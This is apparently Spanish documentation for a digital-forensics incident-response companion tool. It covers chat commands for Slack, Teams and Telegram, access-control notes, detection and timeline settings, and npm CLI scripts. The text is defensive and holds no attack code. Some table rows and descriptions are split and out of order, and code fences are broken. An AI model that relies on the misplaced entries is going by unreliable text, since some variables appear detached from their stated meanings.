Las notificaciones empujan hacia fuera; esta es la vía de vuelta hacia dentro. Ejecuta el caso desde el canal del incidente en lugar de cambiar al panel para cada pregunta:``` /dfir bind IR-2026-014 bind this channel to a case — every later command can omit the id /dfir status events, findings, IOCs, open questions /dfir findings top 5 by severity /dfir finding f3 one finding card /dfir iocs malicious IOCs filtered by verdict (flagged | malicious) /dfir ask what was the initial access vector? grounded AI answer (posted when ready) /dfir synthesize trigger a re-synthesis /dfir hunt T1059.001 note a technique to hunt (deploy it from the dashboard) /dfir unbind clear the binding
Cada plataforma se activa cuando configuras su secreto:
**No se necesita túnel** — el companion abre la conexión de salida:
| Plataforma | Cómo llegan los comandos | Activar con |
|---|---|---|
| Slack | **Socket Mode — WebSocket de salida** | `DFIR_SLACK_SOCKET_MODE=on` + `DFIR_SLACK_APP_TOKEN` (`xapp-…`, `connections:write`) |
| Telegram | **Long polling** | `DFIR_TELEGRAM_POLL=on` + `DFIR_TELEGRAM_BOT_TOKEN` |
O como webhooks de entrada, que necesitan una dirección pública:
| Plataforma | Endpoint | Activar con |
|---|---|---|
| Slack | `POST /integrations/slack/command` | `DFIR_SLACK_SIGNING_SECRET` (Basic Information → Signing Secret) |
| MS Teams | `POST /integrations/teams/command` | `DFIR_TEAMS_TOKEN` (secreto compartido en el encabezado `Authorization`) |
| Telegram | `POST /integrations/telegram/command` | `DFIR_TELEGRAM_SECRET_TOKEN` (el `secret_token` que pasas a `setWebhook`) |
**Telegram no necesita túnel.** Crea el bot con [@BotFather](https://t.me/BotFather), configura dos
variables, reinicia y envíale un mensaje:```bash
DFIR_TELEGRAM_POLL=on
DFIR_TELEGRAM_BOT_TOKEN=123456789:AAF...
El companion llama a Telegram y pide nuevos comandos, así que nada de la máquina es accesible
desde internet — la misma dirección saliente que ya usa el notificador. Un bot no puede hacer ambas cosas:
primero hay que limpiar cualquier webhook existente con .../deleteWebhook.
Slack Socket Mode es la misma idea: habilita Socket Mode en la app, genera un token a nivel de app
(xapp-…, scope connections:write), y el companion marca hacia Slack — sin Request URL.
El modo webhook alcanza este companion desde internet a través de tu túnel o proxy inverso — y ese hostname debe estar en
DFIR_ALLOWED_HOSTS, o el guard de DNS-rebinding rechaza la petición antes de que el bot la vea. MS Teams no tiene opción saliente, así que siempre necesita esto.
OPSEC — cualquiera que pueda publicar en el canal puede extraer contenido del caso. Los casos protegidos con contraseña se rechazan por chat por completo (un mensaje de chat no lleva desbloqueo). Configura
DFIR_*_ACTION_USERSpara limitar el gasto de IA, la re-síntesis y el re-binding a respondedores nombrados; hacerlo también confina a todos los demás al caso vinculado del canal.
| Variable | Default | Significado |
|---|---|---|
DFIR_SLACK_ACTION_USERS | (unset = open) | Ids de usuario de Slack separados por comas autorizados a ejecutar ask/hunt/synthesize/bind |
DFIR_TEAMS_ACTION_USERS | (unset = open) | Igual, para Teams |
DFIR_TELEGRAM_ACTION_USERS | (unset = open) | Igual, para Telegram (ids de usuario numéricos) |
DFIR_SLACK_RESPONSE_HOSTS | hooks.slack.com | Hosts adicionales a los que puede entregarse un resultado asíncrono (servidor compatible con Slack autoalojado) |
DFIR_TEAMS_RESPONSE_HOSTS | *.webhook.office.com, *.logic.azure.com, *.office.com | Igual, para Teams |
DFIR_TELEGRAM_BOT_TOKEN | — | Token de @BotFather, usado para entregar resultados asíncronos |
DFIR_TELEGRAM_API_BASE | https://api.telegram.org | Anulación de la URL base de la Bot API |
| Variable | Default | Significado |
|---|---|---|
DFIR_HUNT_PLATFORMS | all | Lista de plataformas permitidas separadas por comas para las tarjetas de hunt-pivot: velociraptor, defender, elastic, splunk, sigma, yara, suricata |
DFIR_CORRELATE_WINDOW_S | 2 | Ventana temporal (s) para la fusión de eventos entre fuentes de la misma ruta |
DFIR_PHASE_GAP_S | 300 | Brecha entre eventos (s) que inicia una nueva fase de ataque |
DFIR_BEACON_MIN_COUNT | 5 | Número mínimo de eventos de conexión a un canal (host → dest:port) antes de que se considere para detección de beacon |
DFIR_BEACON_MAX_JITTER_PCT | 20 | Jitter máximo de intervalo (desviación estándar como % de la media) para que un canal cuente como beacon — menor = más estricto |
DFIR_GAP_MIN_MINUTES | 30 | Umbral mínimo absoluto para el análisis de brechas de log — un silencio en la línea temporal más corto que esto nunca se marca |
DFIR_GAP_DENSITY_FACTOR | 4 | Una brecha también debe ser ≥ este × el intervalo mediano entre eventos de la línea temporal para marcarse (suprime la quietud normal en líneas temporales dispersas; 0 = solo umbral mínimo) |
DFIR_GAP_ACTIVE_HOURS | (unset) | Horario laboral opcional "8-18" (UTC, admite wrap-around "22-6") — marcar solo brechas que se solapen con ellos; reemplaza la heurística de densidad cuando se establece |
DFIR_GAP_MAX_FINDINGS | 5 | Límite de brechas de silencio completo que escalan a un hallazgo (el panel/informe siguen mostrando todas) — evita que un caso de super-timeline inunde la lista de hallazgos |
DFIR_GAP_HYPOTHESIS_MAX | 5 |
Ejemplo de .env (configuración de OpenRouter de dos niveles):```
DFIR_VISION_PROVIDER=openrouter
DFIR_VISION_MODEL=openai/gpt-4o-mini # cheap extraction (per screenshot)
DFIR_VISION_KEY=sk-or-...
DFIR_AI_SYNTH_MODEL=google/gemini-2.5-pro # strong synthesis (one call)
DFIR_VISION_IMAGE_DETAIL=high
## scripts de npm — referencia completa de la CLI
Todos se ejecutan desde `companion/`. Los argumentos después de `--` se reenvían al script.
### `npm run dev`
Inicia el servidor (lee `.env`). Se enlaza a `127.0.0.1:4773`. Panel de control en `/dashboard`.```
npm run dev
npm run buildVerificación de tipos / compilación con tsc. Sin argumentos.```
npm run build
### `npm test`
Ejecuta la suite completa de vitest. Sin argumentos.```
npm test
npm run verify:ai -- [caseId] [flags]Prueba de humo en una sola llamada: envía 3 capturas de pantalla desde el centro del caso al modelo configurado y confirma que la respuesta se analiza correctamente según el esquema. Muestra hallazgos, eventos forenses y una vista previa de la ruta del atacante.
| Arg / flag | Predeterminado | Efecto |
|---|---|---|
caseId (posicional) | test1 | Caso del que tomar capturas de pantalla de muestra. |
--provider NAME | desde .env | Sobrescribe DFIR_VISION_PROVIDER para esta ejecución. |
--model ID | desde .env | Sobrescribe DFIR_VISION_MODEL para esta ejecución. |
--key KEY | desde .env | Sobrescribe DFIR_VISION_KEY para esta ejecución. |
| npm run verify:ai | ||
| npm run verify:ai -- mycase | ||
| npm run verify:ai -- mycase --provider openrouter --model openai/gpt-4o --key sk-or-... |
### `npm run coverage -- [caseId]`
Informa cuántas de las capturas de pantalla de un caso fueron analizadas vs. omitidas (duplicados) vs.
nunca procesadas. Lee únicamente `captures.jsonl` y el estado de investigación indexado — sin llamadas a IA.
| Arg | Predeterminado | Efecto |
| --- | --- | --- |
| `caseId` (posicional) | `test1` | Caso a inspeccionar. |```
npm run coverage -- test1
npm run coverage -- mycase
npm run reanalyze -- <caseId> [flags]Vuelve a ejecutar el análisis de IA sobre las capturas de pantalla ya capturadas de un caso, reconstruyendo el
estado de la investigación. Ejecuta la síntesis al final a menos que se pase --no-synthesis.
Usa tu cuota de API (~1 llamada por cada --window capturas de pantalla, más 1 llamada de síntesis).
| Arg / flag | Predeterminado | Efecto |
|---|---|---|
caseId (posicional) | test1 | Caso a procesar. |
--reset | desactivado | Vacía el estado antes de analizar. De lo contrario, se fusiona con el existente. |
--all | desactivado | Incluye también las capturas de pantalla duplicadas (más exhaustivo, más llamadas a la API). |
--window N | 4 | Capturas de pantalla por llamada de extracción de IA. |
--provider NAME | desde .env | Anula DFIR_VISION_PROVIDER (extracción). |
--model ID | desde .env | Anula DFIR_VISION_MODEL (extracción). |
--key KEY | desde .env | Anula DFIR_VISION_KEY (extracción). |
--base-url URL | desde .env | Anula DFIR_VISION_BASE_URL (extracción) — p. ej., un proxy LiteLLM local. |
--synth-provider NAME | = extracción / DFIR_AI_SYNTH_PROVIDER | Proveedor para la pasada de síntesis. |
--synth-model ID | = extracción / DFIR_AI_SYNTH_MODEL | Modelo más potente para la síntesis (hallazgos / MITRE / ruta del atacante). |
--synth-key KEY | = extracción / DFIR_AI_SYNTH_KEY | Clave de API para el proveedor de síntesis. |
--synth-base-url URL | = extracción / DFIR_AI_SYNTH_BASE_URL | URL base para el proveedor de síntesis. |
DFIR_HUNT_SUGGEST_MAX | 8 | Número máximo de búsquedas de flota sugeridas por IA devueltas por generación (requiere un proveedor de IA, no la API de Velociraptor) |
DFIR_PBHUNT_SUGGEST_MAX | 30 | Número máximo de búsquedas de playbook sugeridas por IA devueltas por generación (una por tarea relacionada con el endpoint; requiere un proveedor de IA) |
| Máximo de brechas sobre las que razona la llamada de IA Hypothesize gaps por ejecución (peores primero); cada una sigue obteniendo sus colecciones de shadow-artifact |
DFIR_GAP_HYPOTHESIS_CONTEXT | 8 | Eventos a cada lado de una brecha alimentados al prompt de hipótesis como contexto antes/después |
DFIR_DEDUP | on | Omitir el análisis de IA de una captura de pantalla solo cuando es byte-idéntica a la captura anterior (coincidencia exacta SHA-256 — la pantalla no cambió). Cualquier diferencia se analiza; de todos modos se almacena como evidencia. Establece off para analizar cada captura de pantalla |
TAGGER_AUTO | true | Etiquetador de eventos basado en contenido (estilo Timesketch tags.yaml): ejecuta el conjunto de reglas automáticamente tras cada importación, etiquetando los eventos coincidentes (y, en la línea temporal forense, elevando la severidad / uniendo MITRE). Establece false para ejecutarlo solo manualmente desde el dashboard (Super-Timeline → 🏷 Content tagger → Run tagger) |
TAGGER_SCOPE | both | Sobre qué línea temporal se ejecuta el etiquetador: forensic (solo la línea temporal curada), super (solo la super-timeline en bruto, solo etiquetas — nunca modifica severidad/MITRE), o both. Las etiquetas se indexan por id de evento, así que filtran en ambas líneas temporales independientemente |
TAGGER_RULES_FILE | (unset) | Ruta absoluta a un archivo de reglas personalizado, que anula el archivo editado desde el dashboard y el predeterminado incluido (companion/data/tags.yaml). Edita las reglas desde la app vía Super-Timeline → 🏷 Content tagger → Edit rules |